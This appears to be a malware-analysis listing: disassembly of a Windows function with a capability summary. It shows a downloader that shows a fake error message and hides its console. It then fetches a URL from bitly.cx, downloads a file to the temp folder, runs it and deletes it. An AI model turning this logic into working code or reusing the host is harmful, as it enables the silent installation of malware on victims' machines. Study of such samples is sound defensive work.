Function at 0x140001585
Capabilities:
Create process on windows
Create thread
Delete file
Download url
Get common file path
Initialize winhttp library
Prepare http request
Read file on windows
Receive data
Receive http response
Reference http user-agent string

Disassembly:
push rbp
push rdi
push rbx
mov eax, 0x1bf0
call fcn.140002f90
sub rsp, rax
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x1b90], ecx
mov qword [rbp + 0x1b98], rdx
call sym.__main
mov rax, qword [rbp + 0x1b98]
mov rax, qword [rax]
lea rdx, str.r.exe
mov rcx, rax
call sym.fopen
mov qword [rbp + 0x1b58], rax
cmp qword [rbp + 0x1b58], 0
jne 0x1400015e8
call sym.ShowErrorMessage
mov eax, 1
jmp 0x140001d15
mov rax, qword [rbp + 0x1b58]
mov r8d, 2
mov edx, 0
mov rcx, rax
call sym.fseek
mov rax, qword [rbp + 0x1b58]
mov rcx, rax
call sym.ftell
mov dword [rbp + 0x1b54], eax
mov eax, dword [rbp + 0x1b54]
sub eax, 1
mov dword [rbp + 0x1b6c], eax
jmp 0x14000168a
mov edx, dword [rbp + 0x1b6c]
mov rax, qword [rbp + 0x1b58]
mov r8d, 0
mov rcx, rax
call sym.fseek
mov rdx, qword [rbp + 0x1b58]
lea rax, [rbp + 0x730]
mov r9, rdx
mov r8d, 1
mov edx, 1
mov rcx, rax
call sym.fread
movzx eax, byte [rbp + 0x730]
cmp al, 0xa
jne 0x140001683
mov eax, dword [rbp + 0x1b54]
sub eax, 1
cmp dword [rbp + 0x1b6c], eax
jl 0x140001695
sub dword [rbp + 0x1b6c], 1
cmp dword [rbp + 0x1b6c], 0
jns 0x140001628
jmp 0x140001696
nop
mov eax, dword [rbp + 0x1b54]
sub eax, 1
cmp dword [rbp + 0x1b6c], eax
jge 0x14000171a
mov eax, dword [rbp + 0x1b6c]
lea edx, [rax + 1]
mov rax, qword [rbp + 0x1b58]
mov r8d, 0
mov rcx, rax
call sym.fseek
mov rdx, qword [rbp + 0x1b58]
lea rax, [rbp + 0x730]
mov r8, rdx
mov edx, 0x400
mov rcx, rax
call sym.fgets
lea rdx, [rbp + 0x730]
mov dword [rsp + 0x28], 0x400
lea rax, [rbp + 0xb30]
mov qword [rsp + 0x20], rax
mov r9d, 0xffffffff
mov r8, rdx
mov edx, 0
mov ecx, 0xfde9
mov rax, qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
call rax
mov rax, qword [rbp + 0x1b58]
mov rcx, rax
call sym.fclose
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
lea r8, [sym.HideConsole]
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
lea r8, [sym.ShowErrorMessage]
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
lea rax, [rbp + 0x520]
mov rdx, rax
mov ecx, 0x104
mov rax, qword [sym.imp.KERNEL32.dll_GetTempPathW]
call rax
test eax, eax
je 0x140001d10
movabs rax, 0x64006300620061
movabs rdx, 0x68006700660065
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x48], rdx
movabs rax, 0x6c006b006a0069
movabs rdx, 0x70006f006e006d
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], rdx
movabs rax, 0x74007300720071
movabs rdx, 0x78007700760075
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x68], rdx
movabs rax, 0x420041007a0079
movabs rdx, 0x46004500440043
mov qword [rbp + 0x70], rax
mov qword [rbp + 0x78], rdx
movabs rax, 0x4a004900480047
movabs rdx, 0x4e004d004c004b
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], rdx
movabs rax, 0x5200510050004f
movabs rdx, 0x56005500540053
mov qword [rbp + 0x90], rax
mov qword [rbp + 0x98], rdx
movabs rax, 0x5a005900580057
movabs rdx, 0x33003200310030
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0xa8], rdx
movabs rax, 0x36003500340033
movabs rdx, 0x3900380037
mov qword [rbp + 0xae], rax
mov qword [rbp + 0xb6], rdx
mov qword [rbp + 0x1b60], 0
jmp 0x1400018f4
call sym.rand
movsxd rbx, eax
lea rax, [rbp + 0x40]
mov rcx, rax
call sym.wcslen
mov rdi, rax
mov rax, rbx
mov edx, 0
div rdi
mov rcx, rdx
mov rax, rcx
movzx edx, word [rbp + rax*2 + 0x40]
mov rax, qword [rbp + 0x1b60]
mov word [rbp + rax*2 + 0x2f0], dx
add qword [rbp + 0x1b60], 1
cmp qword [rbp + 0x1b60], 7
jbe 0x1400018b0
mov word [rbp + 0x300], 0
lea rax, [rbp + 0x2f0]
lea rdx, [0x140005094]
mov rcx, rax
call sym.wcscat
lea rcx, [rbp + 0x2f0]
lea rdx, [rbp + 0x520]
lea rax, [rbp + 0x310]
mov r9, rcx
mov r8, rdx
lea rdx, str._s_s
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_wsprintfW]
call rax
mov qword [rbp + 0x1b48], 0
mov qword [rbp + 0x1b40], 0
mov dword [rbp + 0x2ec], 0
mov dword [rbp + 0x2e8], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
lea rax, str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_128.0.0.0_Safari_537.36
mov rcx, rax
call sym.WinHttpOpen
mov qword [rbp + 0x1b48], rax
mov rax, qword [rbp + 0x1b48]
mov r9d, 0
mov r8d, 0x1bb
lea rdx, str.bitly.cx
mov rcx, rax
call sym.WinHttpConnect
mov qword [rbp + 0x1b40], rax
mov rax, qword [rbp + 0x1b40]
mov dword [rsp + 0x30], 0x800000
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0
lea r8, str._tYWb
lea rdx, [0x1400051a6]
mov rcx, rax
call sym.WinHttpOpenRequest
mov qword [rbp + 0x1b40], rax
mov rax, qword [rbp + 0x1b40]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
mov rcx, rax
call sym.WinHttpSendRequest
mov rax, qword [rbp + 0x1b40]
mov edx, 0
mov rcx, rax
call sym.WinHttpReceiveResponse
lea rdx, [rbp + 0x2ec]
mov rax, qword [rbp + 0x1b40]
mov rcx, rax
call sym.WinHttpQueryDataAvailable
test eax, eax
je 0x140001bb0
mov eax, dword [rbp + 0x2ec]
test eax, eax
je 0x140001bb3
mov eax, dword [rbp + 0x2ec]
add eax, 1
mov eax, eax
mov rcx, rax
call sym.malloc
mov qword [rbp + 0x1b38], rax
cmp qword [rbp + 0x1b38], 0
je 0x140001bb6
mov eax, dword [rbp + 0x2ec]
add eax, 1
mov edx, eax
mov rax, qword [rbp + 0x1b38]
mov r8, rdx
mov edx, 0
mov rcx, rax
call sym.memset
mov ecx, dword [rbp + 0x2ec]
lea r8, [rbp + 0x2e8]
mov rdx, qword [rbp + 0x1b38]
mov rax, qword [rbp + 0x1b40]
mov r9, r8
mov r8d, ecx
mov rcx, rax
call sym.WinHttpReadData
test eax, eax
jne 0x140001b15
mov rax, qword [rbp + 0x1b38]
mov rcx, rax
call sym.free
jmp 0x140001bb7
mov rax, qword [rbp + 0x1b38]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0xffffffff
mov r8, rax
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
call rax
mov dword [rbp + 0x1b34], eax
cmp dword [rbp + 0x1b34], 0
jle 0x140001b91
mov rdx, qword [rbp + 0x1b38]
mov eax, dword [rbp + 0x1b34]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0x1330]
mov qword [rsp + 0x20], rax
mov r9d, 0xffffffff
mov r8, rdx
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
call rax
mov rax, qword [rbp + 0x1b38]
mov rcx, rax
call sym.free
mov eax, dword [rbp + 0x2ec]
test eax, eax
jne 0x140001a5e
jmp 0x140001bb7
nop
jmp 0x140001bb7
nop
jmp 0x140001bb7
nop
mov rax, qword [rbp + 0x1b40]
mov rcx, rax
call sym.WinHttpCloseHandle
mov rax, qword [rbp + 0x1b48]
mov rcx, rax
call sym.WinHttpCloseHandle
lea rdx, [rbp + 0x310]
lea rax, [rbp + 0x1330]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8, rdx
mov rdx, rax
mov ecx, 0
call sym.URLDownloadToFileW
test eax, eax
js 0x140001d10
lea rdx, [rbp - 0x30]
mov eax, 0
mov ecx, 0xd
mov rdi, rdx
rep stosq qword [rdi], rax
mov dword [rbp - 0x30], 0x68
mov dword [rbp + 0xc], 1
mov word [rbp + 0x10], 0
lea rcx, [rbp + 0xb30]
lea rdx, [rbp + 0x310]
lea rax, [rbp + 0xc0]
mov r9, rcx
mov r8, rdx
lea rdx, str.__s___s
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_wsprintfW]
call rax
lea rax, [rbp + 0xc0]
lea rdx, [rbp + 0x2d0]
mov qword [rsp + 0x48], rdx
lea rdx, [rbp - 0x30]
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessW]
call rax
test eax, eax
je 0x140001d10
mov rax, qword [rbp + 0x2d0]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [rbp + 0x2d0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x2d8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
lea rax, [rbp + 0x310]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_DeleteFileW]
call rax
mov eax, 0
add rsp, 0x1bf0
pop rbx
pop rdi
pop rbp
ret